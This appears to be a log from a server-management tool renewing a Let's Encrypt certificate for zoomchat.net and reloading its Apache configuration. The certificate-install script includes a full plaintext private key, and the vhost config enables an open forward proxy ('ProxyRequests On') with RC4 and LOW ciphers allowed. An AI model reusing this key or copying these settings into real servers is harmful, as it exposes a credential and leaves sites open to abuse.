MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:46:36: Establishing a connection
2025-10-09 11:46:38: Establishing a connection
2025-10-09 11:46:39: 

PUT: /tmp/pkp113594

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 11:46:40: 

chmod 755 /tmp/pkp113594; /tmp/pkp113594; rm /tmp/pkp113594

2025-10-09 11:46:40: 


1


2025-10-09 11:46:41: Establishing a connection
2025-10-09 11:46:42: 

PUT: /tmp/pkp795530

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s


2025-10-09 11:46:43: 

chmod 755 /tmp/pkp795530; /tmp/pkp795530; rm /tmp/pkp795530

2025-10-09 11:46:44: 




2025-10-09 11:46:47: Establishing a connection
2025-10-09 11:46:48: 

PUT: /tmp/pkp743049

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s


2025-10-09 11:46:49: 

chmod 755 /tmp/pkp743049; /tmp/pkp743049; rm /tmp/pkp743049

2025-10-09 11:46:49: 




2025-10-09 11:46:49: Establishing a connection
2025-10-09 11:46:50: 

PUT: /tmp/pkp552536

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt

cat > $temp_file <<'endmsg'
95:91:e0:bb:bb:07:73:90:7e:9c:1a:0a:8e:70:d7:d2

-----BEGIN CERTIFICATE-----
MIIE9DCCA9ygAwIBAgISBlkEnOoGGKco9HSOzNrmFaROMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTA0ODE2WhcNMjYwMTA3MTA0ODE1WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT
whxBb/gQtsijSH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnU
bBf584L65o6A89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/Ypo
POoQaHYV1fUMIzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIh
UMRufCNBfrcvDAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP
6thrsxFq7UdwH1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJ
AgPR6Qm3ouog70/gWHBrAgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFKUbybvBJm3oVpaNDWWbMStMRF5XMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZyMuLPgAABAMARzBFAiBZzmYJoPJf
9v31XsJ5gMse0ptV0YnsvXUUewkyRxU0DAIhAOqZcAMf6VzJg8PavrUvBgXyKzd3
CqrBLGcNYfdwO0p/AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGZyMuLxwAABAMARzBFAiAtmCkDmCfoX8QTe8YgHnfYYP5yBLuPR7zKMItP556k
ewIhAOouKo/ge2UNdSxABEElyGQKYQFklv801TLkLmS5AAccMA0GCSqGSIb3DQEB
CwUAA4IBAQAJH8i49lhYI2Jl8A8MwZw0YbpRpO51BOcLaKLuduCoYV7ludF8x3yM
kNlKmWDm+qBNaiF2FUwZn2NNX2l6KMk1RGlJmD7yI/D8DT1OyGMuSETddw5qshk0
afDYqbkw4mTGT9Si8uXV4EOpPB4ptZ9P8zBTuHSs/4FbrJipFP4cTPQDvgqpURK5
vh2fe/o++XKx8D8jVNoR3BQStkXiPAqqZ+GCJgM+SUoH2GEYwLNnRi6ZBOJVr9P/
NDqAFF9lXbVrq3MMgHXlmoYhXVsNhG+MqGk5mzbRfv9CCWHgZPFEYxO14M4u4AoY
8Oo8NVxOUx62MIlnlQuRIJtKt0/dTHt4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDTwhxBb/gQtsij
SH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnUbBf584L65o6A
89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/YpoPOoQaHYV1fUM
IzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIhUMRufCNBfrcv
DAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP6thrsxFq7Udw
H1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJAgPR6Qm3ouog
70/gWHBrAgMBAAECggEBANMR7HAdVznxt1Np85yHzYQ/a5fGcuHVicJ1E6z8WZJ3
InJI6l9buWDLzBkQFgLrZKajh9KQssG8BdbrPu5E5bm8Y36e/JjtvpWYzwig+kdN
JgkzFt7T6rkT3aJwa+Kjoc38yaHJPcrOFQ8gGSDAyKYCyW7Jb+83FmhZjuJfdrOm
1bpgKLyv8Qcf7Obmzi6oH2+cCdVXRvr/Qv0QBL4cP+mRNKyLkRMqK9XcyZfZ+k2c
TQv7M+eydl5re6dbD5ALDhIU/wzXHqFyko83iE6mDseDcsSy5xI0z/29aXt2npEh
vHBZfF0sfHvNR91IU5GxkvKZ+KmJWoxlAPwQMJwTzYECgYEA9LfbGbAVxS/ei751
ltT40LcVYr0Nosrbf033XziZS6zHfzy7iE9P+oYx9o4IKK/vGsKBDo/Dd2CWG9Mo
UxIHr6IMuBK5CkGwUwJs4Oix7GSnq0t8uxXiOC2ioLE0e2XknPkzjr3Toj6lrWKQ
8dNnRWaz97xw9f8hkaofBEfqSFECgYEA3YVDkbxv4NQxeK4SsNnhHGscosn1tBsh
MjgRq7caBHopA5+rSBoQzZqrXckvlvUw1UcQ+0igLpIjqQ52KeQs66KevrpMc/LC
oyCUh1mGEeJKeIsuwfwEis9n3PK8XoEto01zazhbhgEm6nZ6Vi0GOBEW3yC7Y2C5
GUFm46IRufsCgYEArqrf9rjJASKGrKW3ln3STl6vI/eeWPiDrJzAmLV0LSBYkEeP
7t31TvIjjUCZMDlK54W2yebw9C77VUbk/E3dMI3wmB2890YljUoo3msYO4soZcoO
cBZRjhl8f0ecFwuGHkh8dUCmYqJmbJfyrrheeJmykHtvARYmJqsPUmXmIdECgYEA
r5M4gwJACoskyuntlo6ahdO/1qcMP7xhC1S1bMyrqnDIoT6km3lNaCj3OlaDibq9
Ac5Z/1EI5OCfsxbrQTjBAeLav4EZp6z56CGil8S1Juec7v4iCU6eqwbI467g7mak
rZJtsMXyhLvVBHDzdeopy7Z/0ko3PAUlsIbN7g4+zpECgYB/s+G9YasxKJraEIRl
v7ZRt8SrJ5xhgUeamYKVA4FsZfiyHBbtNRwJqA+G7/yqsXkvhAViqPNh4CcM6EJF
mHeHouxtJRo5efxKYsbkhTH/TiYOUvdt8ODpXWspB0xUKemdtVIHz5ej+LQmyhB+
HbOZ65+yXpoIjuHeiXQH7tDnpw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 11:46:51: 

chmod 755 /tmp/pkp552536; /tmp/pkp552536; rm /tmp/pkp552536

2025-10-09 11:46:52: 


dir=/etc/pki/tls/certs/


2025-10-09 11:46:52: 

PUT: /tmp/pkp907430

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 11:46:52: 

chmod 755 /tmp/pkp907430; /tmp/pkp907430; rm /tmp/pkp907430

2025-10-09 11:46:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2270

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 11:46:52: 

PUT: /tmp/pkp791751

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi


2025-10-09 11:46:53: 

chmod 755 /tmp/pkp791751; /tmp/pkp791751; rm /tmp/pkp791751

2025-10-09 11:46:53: 




2025-10-09 11:46:53: 

PUT: /tmp/pkp514396

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 11:46:54: 

chmod 755 /tmp/pkp514396; /tmp/pkp514396; rm /tmp/pkp514396

2025-10-09 11:46:54: 


.


2025-10-09 11:46:54: Establishing a connection
2025-10-09 11:46:55: 

PUT: /tmp/pkp526899

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:46:56: 

chmod 755 /tmp/pkp526899; /tmp/pkp526899; rm /tmp/pkp526899

2025-10-09 11:46:57: 


